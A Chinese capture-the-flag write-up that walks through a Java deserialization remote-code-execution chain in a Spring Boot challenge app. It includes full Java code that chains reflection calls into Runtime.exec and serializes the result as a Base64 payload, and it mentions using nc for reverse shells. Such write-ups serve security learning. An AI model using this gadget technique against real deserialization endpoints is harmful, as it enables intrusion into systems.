两个环境解释:
题目在容器dog-app(环境里只有sh,反弹shell时建议使用nc)
rev-shel(堡垒机)请使用ssh(root:root123)登录, 可以做反弹shell(请用nc)或外带数据的服务端 (两容器完全共享同一个网卡,相互访问ip都是127.0.0.1,但端口不要冲突)
省流:题目环境使用openjdk8
题目是一个 SpringBoot 的一个项目,结构也非常的简单易懂,我觉得没有接触过 Spring 开发的同学应该也能看懂:
controller/
DogController
Dog/
Dog
DogModel
DogService
Demo3Application
项目做的是一个狗狗管理系统,细节不展开。我们先从 Controller 入手,重点关注“导入/导出”。
@GetMapping({"/export"})
public String exportDogs() {
return this.dogService.exportDogsBase64();
}
@PostMapping({"/import"})
public String importDogs(@RequestParam("data") String base64Data) {
this.dogService.importDogsBase64(base64Data);
return "导入成功!";
}
着重查看导入
导入逻辑里,Base64 解码后会直接反序列化:
public class DogService implements Serializable {
private Map<Integer, Dog> dogs = new HashMap();
private int nextId = 1;
// ...
public void importDogsBase64(String base64Data) {
try {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data));
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Throwable th2 = null;
try {
try {
// --- FIX START: ensure proper typing of deserialized collection ---
// 注:此处用 AI 修复了部分问题
@SuppressWarnings("unchecked")
Collection<Dog> importedDogs = (Collection<Dog>) objectInputStream.readObject();
for (Dog dog : importedDogs) {
int i = this.nextId;
this.nextId = i + 1;
dog.setId(i);
this.dogs.put(dog.getId(), dog);
}
// --- FIX END ---
objectInputStream.close();
byteArrayInputStream.close();
// ...
反序列化期望的是一个 Collection (而不是 DogService 里面的 Map 类型),然后输入回 dogs 里面。那么接下来我们就需要寻找一些关键的信息来看看如何才能通过这个反序列化来命令执行了。
接着看 Dog 与 DogModel:
public class Dog implements Serializable, DogModel {
private int id;
private String name;
private String breed;
private int age;
private int hunger = 50;
Object object;
String methodName;
Class[] paramTypes;
Object[] args;
public Dog(int id, String name, String breed, int age) {
this.id = id;
this.name = name;
this.breed = breed;
this.age = age;
}
// ...
public int hashCode() {
wagTail(this.object, this.methodName, this.paramTypes, this.args);
return Objects.hash(this.id);
}
}
wagTail 的默认实现:
default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(methodName, paramTypes);
return method.invoke(input, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
显然这里就是命令执行点:通过动态传入“对象实例 + 方法名 + 参数类型 + 参数”,可以对任意对象调用任意公共方法。如果你熟悉 CC 链,这段代码会让你非常眼熟。
调用位置有两个:Dog.hashCode() 与 DogService.chainWagTail()。

分别是刚刚的 Dog 类以及 DogService 类
public int hashCode() {
wagTail(this.object, this.methodName, this.paramTypes, this.args);
return Objects.hash(this.id);
}
public Object chainWagTail() {
Object input = null;
for (Dog dog : this.dogs.values()) {
if (input == null) {
input = dog.object;
}
input = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
}
return input;
}
我们需要一个可靠的方式触发 hashCode()。HashMap 在插入时确实会调用 key 的 hashCode(),但这里 dogs 的 key 是 Integer,不是 Dog,所以行不通。
幸运的是,反序列化入口要求的是 Collection。选择 HashSet 更合适:HashSet 需要用元素的 hashCode() 来判断是否重复,因此在反序列化重建结构时,会对元素进行 hashCode() 计算,从而触发我们在 Dog.hashCode() 中埋下的 wagTail 调用。
一个最初始的利用思路:
readObject()
-> Dog.hashCode()
-> Dog.wagTail()
-> Runtime.exec("...")
不过别忘了:Runtime 本身不可序列化;并且 hashCode() 的返回值是 int,不是 wagTail 的返回值。所以我们需要链式调用来“接力”把结果一路传下去,这就轮到 chainWagTail() 出场(它很像 CC1 里的 ChainedTransformer.transform())。
public Object chainWagTail() {
Object input = null;
for (Dog dog : this.dogs.values()) {
if (input == null) {
input = dog.object;
}
input = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
}
return input;
}
思路分四步:
Class.forName("java.lang.Runtime")获取Runtime的Class对象。- 在上一步返回的
Class上调用getMethod("getRuntime", new Class[0])获取Method实例。 - 用该
Method.invoke(null, new Object[0])得到Runtime实例。 - 调用
Runtime.exec("open -a Calculator")执行命令。
写成代码大概是这样子
Class aClass = Class.forName("java.lang.Runtime");
Method runtime = aClass.getMethod("getRuntime", new Class[0]);
Runtime r = (Runtime) runtime.invoke(null, new Object[0]);
r.exec("open -a Calculator");
当然,如果我们要写进dog 里面更麻烦,单单是第一个就得写成下面这个样子
Class<?> c = Dog.class;
Dog dog = new Dog(1,"1","1",1);
Field obj = c.getDeclaredField("object");
obj.setAccessible(true);
obj.set(dog,Class.class);
Field mName = c.getDeclaredField("methodName");
mName.setAccessible(true);
mName.set(dog,"forName");
Field pTypes = c.getDeclaredField("paramTypes");
pTypes.setAccessible(true);
pTypes.set(dog,new Class[]{String.class});
Field arg = c.getDeclaredField("args");
arg.setAccessible(true);
arg.set(dog,new Object[]{"java.lang.Runtime"});
所以我们很有必要写一个函数来帮我们快速用反射创建 Dog 的实例。
public static Dog dogc(Object input, String methodName, Class[] paramTypes, Object[] args) throws Exception {
Class<?> c = Dog.class;
Dog dog = new Dog(1, "1", "1", 1);
Field obj = c.getDeclaredField("object");
obj.setAccessible(true);
obj.set(dog, input);
Field mName = c.getDeclaredField("methodName");
mName.setAccessible(true);
mName.set(dog, methodName);
Field pTypes = c.getDeclaredField("paramTypes");
pTypes.setAccessible(true);
pTypes.set(dog, paramTypes);
Field arg = c.getDeclaredField("args");
arg.setAccessible(true);
arg.set(dog, args);
return dog;
}
那么创建满足我们需求的 Dog 实例的代码就可以变成这样了
// Class aClass = Class.forName("java.lang.Runtime");
// Method runtime = aClass.getMethod("getRuntime",new Class[0]);
// Runtime r = (Runtime) runtime.invoke(null, new Object[0]);
// r.exec("open -a calculator");
Dog dog1 = dogc(Class.class, "forName", new Class[]{String.class}, new Object[]{"java.lang.Runtime"});
Dog dog2 = dogc(null, "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]});
Dog dog3 = dogc(null, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
Dog dog4 = dogc(null, "exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
chainWagTail() 会把每一步的返回值作为下一步的输入,从而把整条调用链接起来。
将 dogs 填进 DogService,再构造一个会触发链的 Dog,最后塞进 HashSet 并序列化成 Base64:
DogService dogService = new DogService();
HashMap<Integer, Dog> dogs = new HashMap<>();
dogs.put(1, dog1);
dogs.put(2, dog2);
dogs.put(3, dog3);
dogs.put(4, dog4);
Class<?> cls = DogService.class;
Field field = cls.getDeclaredField("dogs");
field.setAccessible(true);
field.set(dogService, dogs);
Dog trigger = dogc(dogService, "chainWagTail", new Class[0], new Object[0]);
Set<Dog> dogSet = new HashSet<>();
dogSet.add(trigger);
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(dogSet);
oos.flush();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(base64String);
} catch (IOException e) {
e.printStackTrace();
}
注意:dogSet.add(trigger) 这一步在本地就会触发一次 hashCode(),因此会执行一次命令。如果介意,可以包一层自定义包装类。
这个时候,全部链路都串通了,恭喜成功完成了这条链子的编写!

评论列表(2条)